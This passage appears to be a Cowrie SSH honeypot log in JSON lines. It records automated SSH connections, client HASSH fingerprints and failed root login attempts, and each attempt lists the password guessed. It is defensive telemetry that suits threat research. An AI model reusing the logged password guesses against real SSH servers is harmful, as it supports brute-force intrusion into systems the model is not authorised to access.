{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:26.473523Z","src_ip":"121.168.139.251","session":"2fe4f9f76b15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zhu12345","message":"login attempt [root/Zhu12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:27.329708Z","src_ip":"121.168.139.251","session":"2fe4f9f76b15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:28.540021Z","src_ip":"121.168.139.251","session":"2fe4f9f76b15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":51832,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7776508fb50","protocol":"ssh","message":"New connection: 103.122.221.179:51832 (10.17.0.5:22) [session: b7776508fb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:40.671652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:40.676392Z","src_ip":"103.122.221.179","session":"b7776508fb50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:40.941865Z","src_ip":"103.122.221.179","session":"b7776508fb50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vova2002","message":"login attempt [root/vova2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:41.737278Z","src_ip":"103.122.221.179","session":"b7776508fb50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:43.005000Z","src_ip":"103.122.221.179","session":"b7776508fb50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":45998,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e520d235d47","protocol":"ssh","message":"New connection: 176.32.39.21:45998 (10.17.0.5:22) [session: 4e520d235d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:51.221705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:51.226232Z","src_ip":"176.32.39.21","session":"4e520d235d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:51.862657Z","src_ip":"176.32.39.21","session":"4e520d235d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000-000000","message":"login attempt [root/000000-000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:54.655030Z","src_ip":"176.32.39.21","session":"4e520d235d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:55.811314Z","src_ip":"176.32.39.21","session":"4e520d235d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.161.114.163","src_port":54150,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e9a249593fe","protocol":"ssh","message":"New connection: 195.161.114.163:54150 (10.17.0.5:22) [session: 3e9a249593fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:30:05.264025Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":35512,"dst_ip":"159.203.135.109","dst_port":22,"session":"f48f4549506a","protocol":"ssh","message":"New connection: 87.251.79.125:35512 (159.203.135.109:22) [session: f48f4549506a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:30:26.237000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:30:26.241802Z","src_ip":"87.251.79.125","session":"f48f4549506a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:30:26.316618Z","src_ip":"87.251.79.125","session":"f48f4549506a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snowboard","message":"login attempt [root/snowboard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:30:26.539482Z","src_ip":"87.251.79.125","session":"f48f4549506a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:30:27.618245Z","src_ip":"87.251.79.125","session":"f48f4549506a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":57658,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca9206e97254","protocol":"ssh","message":"New connection: 103.77.175.15:57658 (10.17.0.5:22) [session: ca9206e97254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:30:35.042045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:30:35.047255Z","src_ip":"103.77.175.15","session":"ca9206e97254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:30:35.306737Z","src_ip":"103.77.175.15","session":"ca9206e97254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:30:36.081001Z","src_ip":"103.77.175.15","session":"ca9206e97254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:30:37.341359Z","src_ip":"103.77.175.15","session":"ca9206e97254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":50662,"dst_ip":"10.17.0.5","dst_port":22,"session":"7549736b3a33","protocol":"ssh","message":"New connection: 193.228.128.84:50662 (10.17.0.5:22) [session: 7549736b3a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:31:02.394178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:31:02.400370Z","src_ip":"193.228.128.84","session":"7549736b3a33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:31:02.636286Z","src_ip":"193.228.128.84","session":"7549736b3a33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"f123456789","message":"login attempt [root/f123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:31:02.948033Z","src_ip":"193.228.128.84","session":"7549736b3a33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:31:04.065091Z","src_ip":"193.228.128.84","session":"7549736b3a33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":50840,"dst_ip":"10.17.0.5","dst_port":22,"session":"f95b385abc55","protocol":"ssh","message":"New connection: 45.233.218.160:50840 (10.17.0.5:22) [session: f95b385abc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:31:57.303503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:31:57.307368Z","src_ip":"45.233.218.160","session":"f95b385abc55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:31:57.440406Z","src_ip":"45.233.218.160","session":"f95b385abc55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789Aa","message":"login attempt [root/123456789Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:31:58.003822Z","src_ip":"45.233.218.160","session":"f95b385abc55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:31:59.139609Z","src_ip":"45.233.218.160","session":"f95b385abc55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:32:05.276434Z","src_ip":"195.161.114.163","session":"3e9a249593fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48168,"dst_ip":"10.17.0.5","dst_port":22,"session":"e46f30c6df39","protocol":"ssh","message":"New connection: 51.250.105.222:48168 (10.17.0.5:22) [session: e46f30c6df39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:32:56.375821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:32:56.381160Z","src_ip":"51.250.105.222","session":"e46f30c6df39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:32:56.508880Z","src_ip":"51.250.105.222","session":"e46f30c6df39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:32:56.889941Z","src_ip":"51.250.105.222","session":"e46f30c6df39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:32:58.023329Z","src_ip":"51.250.105.222","session":"e46f30c6df39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":49438,"dst_ip":"10.17.0.5","dst_port":22,"session":"66c253dee89b","protocol":"ssh","message":"New connection: 121.168.139.251:49438 (10.17.0.5:22) [session: 66c253dee89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:33:46.987644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:33:46.992981Z","src_ip":"121.168.139.251","session":"66c253dee89b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh